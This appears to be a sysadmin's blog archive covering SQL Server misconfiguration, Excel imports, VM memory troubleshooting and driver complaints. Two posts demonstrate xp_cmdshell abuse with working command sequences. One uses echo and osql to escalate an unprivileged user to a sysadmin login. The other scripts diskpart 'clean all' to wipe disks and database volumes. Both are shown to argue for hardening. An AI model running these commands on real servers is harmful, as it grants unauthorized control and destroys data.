Crayon Syntax highlighter – code highlighting that almost works!

I have spent the last two days trying to find a code highlighter that actually works with CKEditor and WordPress.  I've found Crayon Syntax, and it almost works the way I want.  And frankly, that's close enough.

To make it work,

  1. Install it (duh)
  2. Configure it to use its "fallback" (ie default) language as PgSQL
  3. Whenever you want to highlight some code, select it and mark it as "Formatted"

Behold how your SQL code is marvellously highlighted, eg:

USE [master]
GO
CREATE LOGIN [eviladmin] WITH PASSWORD=N'test', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF
GO
EXEC master..sp_addsrvrolemember @loginame = N'eviladmin', @rolename = N'sysadmin'
GO

I say it "almost" works because it does break when the SQL code includes characters that aren't strictly SQL.  For example, this command:

"exec xp_cmdshell "echo USE [master] > c:\sqlcommands.txt""

gets mangled because of the greater than sign, into:

exec xp_cmdshell "echo USE [master] > c:\sqlcommands.txt"

But I've decided I can live with that.

xp_cmdshell: Some more evil

In my last post, I detailed some conditions under which a poorly-configured SQL server could allow unprivileged users to do bad, bad things.  Today I want to expand on that to show how an unprivileged user can create a new user account that is a member of the SQL sysadmins role.

To recap the conditions under which bad things can happen:

  1. The SQL service account is set as Local System
  2. The SQL proxy account is a privileged account, i.e. one that has Administrator rights over the local machine
  3. xp_cmdshell is enabled under these conditions.

 

So that allows a regular unprivileged user to run xp_cmdshell, and in turn, to run commands under the context of the SQL proxy account, which has elevated rights over the operating system.

Let's say you have an end user who's more savvy than most.  The naive SQL administrator has created a SQL login for his windows account, and has enabled use of xp_cmdshell for that account.  The end user quickly checks the SQL proxy account:

xp_cmdshell 'whoami.exe'

And confirms what he always suspected about the developers at his workplace.

He tries to create a SQL login with membership in the sysadmin role:

USE [master]
GO
CREATE LOGIN [eviladmin] WITH PASSWORD=N'test', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF
GO
EXEC master..sp_addsrvrolemember @loginame = N'eviladmin', @rolename = N'sysadmin'
GO

Thankfully this doesn't work:

Msg 15247, Level 16, State 1, Line 1
User does not have permission to perform this action.
Msg 15247, Level 16, State 1, Procedure sp_addsrvrolemember, Line 29
User does not have permission to perform this action.

Not to be disheartened, this malicious end user does know he has rights to run xp_cmdshell.  And he knows that the commands will run under the context of the silly developer's account.  So let's try something else:

exec xp_cmdshell "echo USE [master] > c:\sqlcommands.txt"
exec xp_cmdshell "echo GO >> c:\sqlcommands.txt"
exec xp_cmdshell "echo CREATE LOGIN [badadmin] WITH PASSWORD=N'test', >> c:\sqlcommands.txt"
exec xp_cmdshell "echo DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF >> c:\sqlcommands.txt"
exec xp_cmdshell "echo GO >> c:\sqlcommands.txt"
exec xp_cmdshell "echo EXEC master..sp_addsrvrolemember @loginame = N'badadmin', @rolename = N'sysadmin' >> c:\sqlcommands.txt"
exec xp_cmdshell "echo GO  >> c:\sqlcommands.txt"

Two things.  I've had to encapsulate the commands in " characters so that SQL parses the commands properly.  Also, I've had to break one command (lines 3 and 4) into two lines because there's a string length limit.  But this can be easily overcome.

So we now have a text file which contains:

USE [master]
GO
CREATE LOGIN [badadmin] WITH PASSWORD=N'test',
DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF
GO
EXEC master..sp_addsrvrolemember @loginame = N'badadmin', @rolename = N'sysadmin'
GO  

Nice.

We can't just run this code directly at the command prompt.  But we can do something almost as good:

exec xp_cmdshell 'osql -E -i C:\sqlcommands.txt -o C:\results.txt'

This runs the osql command with a "trusted connection" (-E), which basically says use the windows account (of the SQL proxy account) for authentication/access, and -i which grabs the contents of sqlcommands.txt and parses and runs it.  And -o outputs the results to a file called results.txt.  This is important because we want to see the results of the operation, which in this case happen to be:

Login failed for user 'SQL\sillydeveloper'.

Hmm.  OK.  On my test box, this happens to be so.  Silly Developer doesn't have a SQL login.  But we know that in a more realistic environment, this is likely not true.  The Silly Developer more than likely has a SQL login.  And let's, for the sake of this discussion, assume they are also a member of the sysadmin role.  Don't scoff.  I've seen plenty of production environments that are configured exactly like that.  So let's create a SQL login for Silly Developer and make them a member of the sysadmin role.  Let's try again:

exec xp_cmdshell 'osql -E -i C:\sqlcommands.txt -o C:\results.txt'

This produces a file called results.txt, which contains:

1> 2> 1> 2> 3> 1> 2> 1>

That's a bit different.  Hey, let's see if the login was created.

It sure was.  And it's a member of sysadmin.  Oh dear.

It's now a trivial matter for this end user – who up until now had no special rights – to login using the new SQL login and to have fun making the naive DBA's life miserable.  DROP TABLE, anyone?  DROP DATABASE?  The possibilities are endless.

Let's try this again, this time using a properly-configured server, which you'll recall is:

  1. Configured to use an unprivileged account for its service account
  2. Using an unprivileged account for the SQL proxy account
xp_cmdshell 'whoami.exe'

Gives us:

Great.  Let's try creating that text file again:

exec xp_cmdshell "echo USE [master] > c:\sqlcommands.txt"
exec xp_cmdshell "echo GO >> c:\sqlcommands.txt"
exec xp_cmdshell "echo CREATE LOGIN [badadmin] WITH PASSWORD=N'test', >> c:\sqlcommands.txt"
exec xp_cmdshell "echo DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF >> c:\sqlcommands.txt"
exec xp_cmdshell "echo GO >> c:\sqlcommands.txt"
exec xp_cmdshell "echo EXEC master..sp_addsrvrolemember @loginame = N'badadmin', @rolename = N'sysadmin' >> c:\sqlcommands.txt"
exec xp_cmdshell "echo GO  >> c:\sqlcommands.txt"

Well, that's reassuring.  The account doesn't have rights to create a file on the root of C: on the SQL server.  But that's not to say it couldn't have rights over some other file system somewhere.  Let's say there's a file share somewhere that allows the Authenticated Users group to write to it.  Let's try this again:

exec xp_cmdshell "echo USE [master] > \\FILESERVER\openshare\sqlcommands.txt"
exec xp_cmdshell "echo GO >> \\FILESERVER\openshare\sqlcommands.txt"
exec xp_cmdshell "echo CREATE LOGIN [badadmin] WITH PASSWORD=N'test', >> \\FILESERVER\openshare\sqlcommands.txt"
exec xp_cmdshell "echo DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, >> \\FILESERVER\openshare\sqlcommands.txt"
exec xp_cmdshell "echo CHECK_POLICY=OFF >> \\FILESERVER\openshare\sqlcommands.txt"
exec xp_cmdshell "echo GO >> \\FILESERVER\openshare\sqlcommands.txt"
exec xp_cmdshell "echo EXEC master..sp_addsrvrolemember @loginame = N'badadmin', >> \\FILESERVER\openshare\sqlcommands.txt"
exec xp_cmdshell "echo @rolename = N'sysadmin' >> \\FILESERVER\openshare\sqlcommands.txt"
exec xp_cmdshell "echo GO  >> \\FILESERVER\openshare\sqlcommands.txt"

I've had to split the lines again due to the length limitation, but the result is a file in \\FILESERVER\OPENSHARE that contains:

USE [master]
GO
CREATE LOGIN [badadmin] WITH PASSWORD=N'test',
DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF,
CHECK_POLICY=OFF
GO
EXEC master..sp_addsrvrolemember @loginame = N'badadmin',
@rolename = N'sysadmin'
GO

OK, let's try running that command:

exec xp_cmdshell 'osql -E -i \\FILESERVER\openshare\sqlcommands.txt -o \\FILESERVER\openshare\results.txt'

The command runs successfully and creates a file \\FILESERVER\openshare\results.txt.  Thankfully this file's contents are:

Login failed for user 'SQL\svc-sql-proxy'.

What we should take away from this is that the proxy account really should not have a SQL login associated with it.  But let's pretend it does, and that it is not a member of any special SQL roles:

The results are:

1> 2> 1> 2> 3> 4> Msg 15247, Level 16, State 1, Server PROD-SQL08R2STD, Line 1
User does not have permission to perform this action.
1> 2> 3> Msg 15247, Level 16, State 1, Server PROD-SQL08R2STD, Procedure sp_addsrvrolemember, Line 29
User does not have permission to perform this action.
1>

I don't think I need to spend any time explaining why the SQL proxy account shouldn't a) have a SQL login associated with it; and b) If such an account exists, it should not be a member of any special SQL roles.

xp_cmdshell: Baby did a bad, bad thing

My syntax highlighter is a bit broken.  Until I fix it, the TSQL shown below will be full of crud.  Fix it before trying it on your system.  Or just wait until I fix up the highlighter.  Your choice, really.

Much has been written about why SQL’s xp_cmdshell is a bad thing.  It has its uses, of course, and sometimes we just have to enable it for our apps to work.

In my most recent post about SQL, you would’ve detected a certain.. disdain.. for applications developers.  It’s not their fault, though.  They’re just trying to write something that works.  In my workplace, there is a “just make it work” mentality, which can lead to some awful misconfigurations.  That’s why this post is dedicated to just how bad xp_cmdshell can be.

By default, xp_cmdshell is disabled, and with good reason.  If it’s not set up just so, it can be exploited.  The gist of it is this:  if you can run a command from a DOS shell, non-interactively, xp_cmdshell will run it, too.  So it stands to reason that you should lock xp_cmdshell down as much as possible.  But this is at odds with the “just make it work” mentality, and sometimes security is compromised as a result.

If you’ve set up your SQL server per best practice, your SQL Server service account is an unprivileged domain account.  That means it’s just a regular account, not a member of any special domain or local groups.  When you tell the SQL installer to use this account, it sets up file permissions, registry permissions and local policies so that your service account has all the things it needs to run SQL properly.  But by default, the SQL installer doesn’t prompt you for a domain account.  No.  Left to its own devices, it will let you choose from a drop-down:

<insert screenshot here that Crayon syntax highlighter doesn’t like 🙁 >

 

 

Interesting.  The local system account is here, as well as the option to browse.  Hey, Local System looks good.  So, for this demonstration, let’s assume the naive person installing SQL selects this account.  For those of you not in the know, the Local System account has the keys to the city over the local machine.  It has no rights on any other system.  But for this demo, that doesn’t matter.  Let’s then assume the “Use the same account for all SQL Server services” is clicked.

So we carry on installing, and voila, we have a running SQL instance.  Let’s say the apps developer asks for xp_cmdshell to be enabled.  That’s easy enough to do:

EXEC master.dbo.sp_configure 'show advanced options', 1
RECONFIGURE
go
EXEC master.dbo.sp_configure 'xp_cmdshell', 1
RECONFIGURE
go

 

And we get a successful result!

Configuration option ‘show advanced options’ changed from 0 to 1. Run the RECONFIGURE statement to install.
Configuration option ‘xp_cmdshell’ changed from 0 to 1. Run the RECONFIGURE statement to install.

Let’s try a command:

xp_cmdshell 'whoami.exe'

 

 

index

Hey, this is great!  It WORKS!!!!!!!!!!!!!!!!!!!!!!

Let’s try another one:

xp_cmdshell 'dir c:'

 

2_dir_c

Yay!  More working xp_cmdshell goodness.

We can even use it to write to a text file:

exec xp_cmdshell 'echo hello > c:\file.txt'
exec xp_cmdshell 'echo appended data >> c:\file.txt'
exec xp_cmdshell 'echo more data >> c:\file.txt'

And the result is, funnily enough, a text file C:\FILE.TXT:

hello
appended data
more data

 

Let’s try something a little more interesting.

xp_cmdshell 'format c:'

 

3_format_c

We should all breathe a sigh of relief here.  The format command needs to be run interactively.  It wants you to answer yes or no.  For once, Microsoft’s efforts to save us from ourselves have been useful.

xp_cmdshell 'diskpart'

And thankfully, by default, diskpart also runs interactively:

 

4_diskpart

Here’s where it can get interesting.  Diskpart runs interactively by default, but can also run in scripted mode.  Let’s jump to a DOS box for a minute to see how that works:

 

5_dosbox

I’ve just deleted the contents of disk 1.  It didn’t take much effort, did it?  Let’s see if we can script that.

First, create a text file somewhere that contains this:

select disk 1
clean all

Now, let’s run diskpart scripted:

 

6_diskpartscripted

Hmm.

I wonder if we can do the same thing with xp_cmdshell?

First, let’s create the command file:

exec xp_cmdshell 'echo select disk 1 > c:\diskpartcommands.txt'
exec xp_cmdshell 'echo clean all >> c:\diskpartcommands.txt'

Then, let’s run diskpart scripted:

xp_cmdshell 'diskpart -s c:\diskpartcommands.txt'

 

7_diskpartscripted

If you don’t think a misconfigured xp_cmdshell is a bad thing, try this on a production system.  See how long you stay employed.

Some notes on the demo above.  I ran these commands using an account that was a member of the Administrators group on the local machine.  That’s why I didn’t have to do anything else special in order for xp_cmdshell to work.

Let’s say I have an unprivileged user that I want to be able to run xp_cmdshell commands.  I need to give them access to the command:

grant execute on xp_cmdshell to [sql\gpotest]

Let’s try this again, this time running it under the context of a standard user account:

xp_cmdshell 'whoami.exe'

Msg 15153, Level 16, State 1, Procedure xp_cmdshell, Line 1
The xp_cmdshell proxy account information cannot be retrieved or is invalid. Verify that the ‘##xp_cmdshell_proxy_account##’ credential exists and contains valid information.

SQL is thoughtful enough to protect us from ourselves.  But we want to JUST MAKE IT WORK!!!!!!!!!!!!!!

So, let’s do what every app developer I’ve ever met would do.  Let’s configure the proxy account using a privileged account – maybe even the app developer’s own account (which is, of course, a member of the Administrators group).  This can be done via the GUI or TSQL, but for this demo, I’ll show the TSQL:

use master
go
EXEC sp_xp_cmdshell_proxy_account 'SQL\sillydeveloper','password'

Now when we run the whoami command, we get this result:

Msg 229, Level 14, State 5, Procedure xp_cmdshell, Line 1
The EXECUTE permission was denied on the object ‘xp_cmdshell’, database ‘mssqlsystemresource’, schema ‘sys’.

OK, fine.  Let’s grant this unprivileged user the rights to use xp_cmdshell:

USE master
GRANT exec ON xp_cmdshell TO [SQL\gpotest]

Let’s run the whoami command again:

 

8_whoami

Yay!  It works!  Great, huh?

Now, let’s try that diskpart stuff again:

exec xp_cmdshell 'echo select disk 1 > c:\diskpartcommands.txt'
exec xp_cmdshell 'echo clean all >> c:\diskpartcommands.txt'

You’ll recall those commands created the diskpart script file.  Let’s then run the script file:

xp_cmdshell 'diskpart -s c:\diskpartcommands.txt'

9_ohdear

 

Oh dear.

Those of you in the know might be thinking we could do “select disk 0” in our diskpart script and run it to trash the system volume.  Fortunately, diskpart protects us from ourselves:

10_protectusfromourselves

 

If there’s a saving grace, it’s that the system volume can’t be trashed using this simple method.  But hey, we can still wreak havoc.  Let’s say we have a database called SuckedIn, whose files live in F: drive:

sp_helpfile

 

11_suckedin

You know where I’m going with this, right?  If we don’t know the disk number, we can still use diskpart to identify the volume number, by changing the script to “list volume” to identify where F: drive lives:

 

12_suckedin

Then we just change the diskpart script to:

select volume 2
clean all

And the result is data destruction:

 

13_datadestruction

Thankfully, we still can’t trash the system volume, but if someone trashed your database volumes, you’d be just as screwed.  Don’t let this happen to you!

In case you passed out from boredom while reading my post, here’s the important bits that led to this disaster:

  1. The SQL service account is set as Local System
  2. The SQL proxy account is a privileged account, i.e. one that has Administrator rights over the local machine
  3. xp_cmdshell is enabled under these conditions.

That is all it takes to allow an otherwise regular, unprivileged user to HOSE YOUR SQL BOX!  All of this could have been prevented by using best practice, which in case you fell asleep again, is very simple:

  1. Configure your SQL instance to use an unprivileged account for its service account
  2. For the love of all that’s holy, use an unprivileged account for the SQL proxy account
  3. Don’t enable xp_cmdshell unless you absolutely, positively have to.

To change the SQL Server service account, use the SQL Server Configuration Manager tool.  You’ll need to restart the SQL Server service, so schedule an outage window to do this.

Once you’ve done this, use this script to configure the SQL Proxy account.  Make sure this is an unprivileged account:

use master
go
EXEC sp_xp_cmdshell_proxy_account 'TEST\svc-sql-proxy','password'

This change takes effect straight away.  No outage required.

Now when you run the whoami account as an administrator, you’ll get this result:

 

14_whoami

If you run it as an unprivileged user, you’ll get this result:

 

15_whoami

Now try running the diskpart script as the unprivileged user.  It won’t work.  YAY for system security!

 

 

The joys of importing Excel data into SQL 2008 R2

One of the things I find myself doing every day is teaching apps developers how to do stuff with these principles in mind:

  1. Least privilege
  2. Smallest attack surface

Unfortunately, most apps developers in my workplace:

  1. Are administrators on both their workstations (I'm OK with this) and their development servers (not so OK with this), which means they:
  2. Install heaps of shit they don't need, particularly on the dev server
  3. Configure that shit to run under their own administrative user account (!!!!)
  4. Forget they've installed that shit
  5. After a period of time, don't remember if that shit is necessary for their code to run
  6. Install all the server-side components of their client/server app onto one single dev server.  This blurs the lines.  Is it the web part of the app that performs task X, or is it the SQL part?  Who knows.  The apps developers don't.

So when the time comes to provision their production environment, I get requests like this:

  1. Install Excel on the SQL box and the web server box, and actually any other box that our app uses, because we can't remember which box actually needs it
  2. Enable xp_cmdshell on the SQL box.  We're not really sure why, but we need it.
  3. And while you're at it, we need you to create scheduled tasks on all the boxes (because we can't remember what box does what), and that task needs admin rights because otherwise it doesn't work.  But we don't really know why it doesn't work.

I wish I was making this shit up.  But this is what I've spent the last week extracting from a particular group of people.  Of course, when I say NO to this sort of crap, it becomes my problem to come up with an alternative that uses least privilege, whilst installing the smallest possible amount of stuff to make it work.

I'll write a separate post about the xp_cmdshell thing, but for now I want to deal with the Excel thing.  I don't believe that any SQL server should have anything installed on it aside from SQL.  Excel is a user app, not a server app.  And I don't believe for a second that SQL "needs" it to import Excel data.

So.  Getting onto the heart of this post.  How do we get that Excel data into a SQL server database?

It would be nice if something like this would just work.  It doesn't:

SELECT * INTO XLImport3 FROM OPENDATASOURCE('Microsoft.Jet.OLEDB.4.0',
'Data Source=c:\downloads\ImportTest-XLS.xls;Extended Properties=Excel 8.0')...[Sheet1$]

This code was snaffled from a MS article, BTW, http://support.microsoft.com/kb/321686.  The article also makes reference to linked servers, but for my purposes I just want to run ad hoc queries on transient spreadsheets.

We get this error message:

Msg 7308, Level 16, State 1, Line 1
OLE DB provider 'Microsoft.Jet.OLEDB.4.0' cannot be used for distributed queries because the provider is configured to run in single-threaded apartment mode.

 

Hmm.  WTF does that mean?  Believe it or not, it's not because you need to do something about apartment mode, whatever the hell that is.  It's actually SQL's obscure way of complaining about the data source driver.  For 2007 and 2010 versions of Excel files, you need to install a provider that knows how to deal with these files.  By default, SQL 2008 R2 doesn't have one:

 

 

Get a hold of the Microsoft Access Database Engine 2010 Redistributable (don't worry about the "Access" in the title, just download it).  Make sure you get the 64-bit version if you're running SQL 2008 R2.

Install it.  If you get this message, it's because you have a 32-bit installation of Office or one of its components.  Naughty!  Uninstall it.

Uninstalling the Office components might require a reboot.  My experience with the Access driver is that you'll need to reboot your server again (or possibly just restart the SQL services – I haven't tried this in my test environment yet).  So if you're doing this on a production box, be sure to schedule an outage.

You'll see a new provider in the list:

Let's try running that TSQL code again:

SELECT * INTO XLImport3 FROM OPENDATASOURCE('Microsoft.Jet.OLEDB.4.0',
'Data Source=c:\downloads\ImportTest-XLS.xls;Extended Properties=Excel 8.0')...[Sheet1$]

We get the same error message again because now we are using the wrong provider.  Let's change that:

SELECT * FROM OPENROWSET(
'Microsoft.ACE.OLEDB.12.0',
'EXCEL 12.0;Database=c:\downloads\ImportTest-XLS.xls;HDR=YES;IMEX=1',
'SELECT * FROM [sheet1$]');

Now we get another error message, though thankfully less obscure:

Msg 15281, Level 16, State 1, Line 1
SQL Server blocked access to STATEMENT 'OpenRowset/OpenDatasource' of component 'Ad Hoc Distributed Queries' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'Ad Hoc Distributed Queries' by using sp_configure. For more information about enabling 'Ad Hoc Distributed Queries', see "Surface Area Configuration" in SQL Server Books Online.

 

OK.  Let's enable that, shall we?

sp_configure 'show advanced options', 1;
RECONFIGURE;
GO
sp_configure 'Ad Hoc Distributed Queries', 1;
RECONFIGURE;
GO

Let's try again:

Msg 7399, Level 16, State 1, Line 1
The OLE DB provider "Microsoft.ACE.OLEDB.12.0" for linked server "(null)" reported an error. Access denied.
Msg 7350, Level 16, State 2, Line 1
Cannot get the column information from OLE DB provider "Microsoft.ACE.OLEDB.12.0" for linked server "(null)".

Oh for Christ's sake.  What now?

There are some things that need to be enabled on the provider itself:

USE [master]
GO
EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'AllowInProcess', 1
GO
EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'DynamicParameters', 1
GO
EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'NestedQueries', 1
GO
EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'NonTransactedUpdates', 1
GO

Most articles I've seen recommend just the first two settings, but in all my experiments I just couldn't get it to work.  I found an article that mentioned the last two settings and had success with that.  Your mileage may vary.

Let's try it again!

SELECT * FROM OPENROWSET(
'Microsoft.ACE.OLEDB.12.0',
'EXCEL 12.0;Database=c:\downloads\ImportTest-XLS.xls;HDR=YES;IMEX=1',
'SELECT * FROM [sheet1$]');

Holy snapping duckshit!  It WORKS!

First name Last Name
Firstname1 Lastname1
Firstname1 Lastname2
Firstname3 Lastname3

You'll also be able to read .XLSX files:

SELECT * FROM OPENROWSET(
'Microsoft.ACE.OLEDB.12.0',
'EXCEL 12.0;Database=c:\downloads\ImportTest-XLSX.xlsx;HDR=YES;IMEX=1',
'SELECT * FROM [sheet1$]');

And CSV files, though I suspect you'd be able to do this without the driver:

SELECT * FROM OPENROWSET(
'Microsoft.ACE.OLEDB.12.0',
'Text;Database=C:\Downloads\;HDR=Yes;',
'SELECT * FROM [ImportTest-CSV.csv]');

Note the syntax for a CSV is slightly different.  Also note that in all of them, the last parameter makes reference to the sheet name.  So make sure you've got that last part right.

So, in summary:

  1. Remove any existing Office components and reboot.
  2. Install the Microsoft Access Database Engine 2010 Redistributable and reboot
  3. Run the following TSQL commands:
USE [master]
GO

sp_configure 'show advanced options', 1;
RECONFIGURE;
GO
sp_configure 'Ad Hoc Distributed Queries', 1;
RECONFIGURE;
GO

EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'AllowInProcess', 1
GO
EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'DynamicParameters', 1
GO
EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'NestedQueries', 1
GO
EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'NonTransactedUpdates', 1
GO

 

And you are good to go!!!!!!!!!!!!!!!!  laugh

 

Now that you can actually read the damn files, you can import them into a table:

SELECT * INTO SomeTable
FROM OPENROWSET(
'Microsoft.ACE.OLEDB.12.0',
'EXCEL 12.0;Database=c:\downloads\ImportTest-XLS.xls;HDR=YES;IMEX=1',
'SELECT * FROM [sheet1$]');

Note that the only change in the query is the "select into" part.  The rest is the same, and this applies to the XLSX or CSV import.

The SELECT INTO will overwrite your table, so if the plan is to add rows to it, use this sort of query:

INSERT INTO SomeTable
SELECT * FROM
OPENROWSET(
'Microsoft.ACE.OLEDB.12.0',
'EXCEL 12.0;Database=c:\downloads\ImportTest-XLSX.xlsx;HDR=YES;IMEX=1',
'SELECT * FROM [sheet1$]');

 

Trouble-shooting a memory-bound VM; OR: Adventures in stupidity

Troubleshooting a memory-bound VM

I had fun at work this week.  I spent a lot of time chasing my tail, trying to figure out why one of our SQL servers was frequently memory-bound.  Note that I have removed server names and other identifying material from screenshots.  One of the greatest frustrations in this new job is finding things my former colleagues either a) completely fucked up, or b) never noticed were a problem.  A good example (which I wish I'd documented as well as my story below):  A SQL server (this very same one, as it happens), averaging 99% CPU consumption, 24/7.  One of my former colleagues (the one with DBA aspirations) decided that the problem was a corrupt SQL installation, and had intended to rebuild the machine from scratch.  I thought this sounded like bollocks, and with a bit of googling, learning, reading BOL and testing, discovered that one of the databases had a table that needed an index applied.  CPU usage fell to approximately 3% average.  A rebuild of the machine would never have fixed that.

Anyway… on to today's tale.

Background:  I have been asked to prepare one of our servers for a SQL version upgrade (from 2008 to 2008 R2).  As part of this prep work, performance baselines were taken.  The performance log files were parsed by an automated tool called PAL (http://pal.codeplex.com/).  PAL found that this VM was severely memory-bound.


 

This conclusion was supported by casual observation in Task Manager:

 

Manual analysis of the performance log files did not reveal the source of the RAM constraints.  All counters suggested that the sum total of memory used by processes was in the order of approximately 2GB. 

 

The VM has been configured with 8GB of RAM.  Neither automated analysis nor the manual analysis made sense.  How can a system using only 2GB of 8GB be memory-bound?  The flat-line nature of the graphs bothered me.  My experience has been that flat lines are usually the result of an artificial constraint (e.g. bandwidth consumption limits on WAN traffic, imposed by network shaping).

 

Since this server is a SQL box, I investigated SQL’s memory usage (Counter: SQLServer: Memory Manager\Target Server Memory (KB):

 

SQL appeared to be consuming up to approximately 1.8GB of RAM. 

 

By default, SQL is configured at the SQL Server level to consume up to 2PB of RAM.  I checked to see if SQL had been “held back” by a non-standard configuration:

 

Someone has imposed a limit of 6.7GB of RAM usage on this SQL Server instance.  Why this particular number was chosen is unknown to me, but in the context of the current problem, it did not appear to be a contributor – we would’ve seen SQL consuming more than 2GB of RAM.  In short, automated and manual analysis of the performance logs did not show what was consuming this system’s memory.

 

I ran a Sysinternals tool called RAMMap:

 

RAMMap showed that drivers were consuming 5.5GB of RAM!  On a VM, this is very unusual.  VMware Tools load some drivers that are designed to help the hypervisor shuffle resources between VMs.  One of these is the balloon driver, which under normal conditions is used by the host to create an artificial RAM constraint at the guest level.  This forces applications to release unused memory to the balloon driver, which “tells” the OS it is using some amount of RAM that cannot be released (preventing user apps from trying to reclaim more RAM).  In turn, physical memory is released to the host to allocate to VMs that need more RAM.

At this point, I felt that the issue was at the VMware layer.

 

The Resource Allocation view provided a clue:

 

 

VMware’s performance overview showed another flat-line graph:

 

 

Using the advanced graph to show balloon usage for this VM confirmed my suspicion:

 

 

Another flat line.  The balloon driver was the culprit.  But it didn’t make sense.  The host is not memory-constrained, and other VMs are not hitting their memory limits. 

 

I investigated the VM’s configuration and found this:

 

Despite giving the VM 8GB of memory, it had been artificially constrained to only use 2GB.  In order to achieve this, the balloon driver kicked in, consuming the difference.  There is really no good reason for this, and my suspicion is that the VM was created from a template that had this constraint applied to it, and that whoever provisioned it did not remove the limit.  It has been running on effectively 2GB of RAM since.

 

I checked the “Unlimited” checkbox (no outage required).  This removes the hard limit, and tells the balloon driver to release RAM to the OS.  I could see the driver immediately released some RAM to the OS, but it wasn’t the 5.5GB I was hoping for:

 

 

The process of releasing RAM from the balloon is a slow one.  Googling suggests it can take days to finally release all of the memory to the guest.  A restart of the VM might accelerate this.  We planned an outage to restart the VM, but as it turns out, at 0130 the next morning, the balloon was released entirely:

 


 

Next steps

If one VM has been misconfigured, it stands to reason there might be others.  I used a PowerCLI command to identify VMs that have memory limitations imposed on them:

Get-VM | Get-VMResourceConfiguration | where {$_.MemLimitMB -ne '-1'} | foreach {$_.VM.Name + " " + $_.VM.MemoryMB + " " + $_.MemLimitMB}

 

Server1 1024 1024

Server2 4096 4096

Server 3 4000 4000

Server 41024 1024

Server 5 2048 2048

Server6 4096 2000

Server 7 2048 2000

Server8 2048 2048

Server9 2048 2048

Server10 2048 2048

Server11 1024 1024

Server12 2048 2048

Server13 2048 2048

Server14 2048 2048

Server15 4096 4096

Server16 2000 2000

Server17 2048 2048

Why anyone would configure a VM with an amount of RAM, and then set a hard limit on that VM for the same amount of RAM is beyond me.  I also do not understand the logic of configuring RAM or RAM limits using values that do not fall on standard boundaries (e.g. 2000 instead of 2048).

We can see here that Server6 has been configured with 4GB of RAM, yet is only allowed to consume 2GB of that 4GB.  I would not be surprised if this VM is also experiencing low-memory conditions.

 

Information on memory limits can also be exposed via the vSphere GUI (but this does not show the VM’s configured memory):

 

Performance counters for Server6 should be recorded and analysed.  If this VM is memory-bound, then the limit should be removed.  If it is not memory-bound, then it does not make sense to present it with 4GB of RAM when it only needs 2GB.

Broader next steps would be to review VM configurations across the infrastructure.  We should also consider taking baseline performance counters to assess if current workload requirements are being met.

 

All in all, this was a great learning exercise for me, and I feel that I a) accomplished something useful, and b) identified misconfigurations on other VMs before they became problematic.  But I'm also very disappointed that the people trusted with managing this infrastructure in the past really didn't do as good a job as they could've. 

nVidia drivers 301.42 = absolute fucking crap

I installed the latest and greatest nVidia drivers on my machine a few days ago.  Today, I played BF3.  Well, I tried to.  The graphics were absolutely fucked.  Frame rate so low I couldn’t even navigate the menu.  I ran the Passmark benchmark on it, and its DX10 performance was under five fucking frames per second.

Reverted to 296.10 and voila!  Magical, wondrous performance, in the order of TEN TIMES BETTER for all the tests.

Really, nVidia?  Did you actually test this before releasing it?

VMware – I moved it? I copied it?

I was just talking with my mate Andrew about this today.  For those of you who have no clue WTF I'm talking about it, when opening a VM from file in VMware Workstation and ESX/i, it prompts you with a strange little question.  Did you move the VM or copy it?  And what does it matter?

Rather than explain it here, here's an excellent article on the topic.  I stumbled across this while looking for information on SQL configurationfile.ini settings.

Fixing slow VMware Workstation shutdown

This happens to me all the time at work.  I've got half a dozen VMs open, then I realise it's going-home time and want to pack up and get out of there!  Even though I pause my VMs, and it looks like they're suspended, and I can close Workstation, it's still doing stuff in the background.  The disk churns like crazy.  It once took fifteen freaking minutes for it to be done doing whatever it was doing.

This hint from Bryon Brewer worked a treat!  Thankyou, Bryon!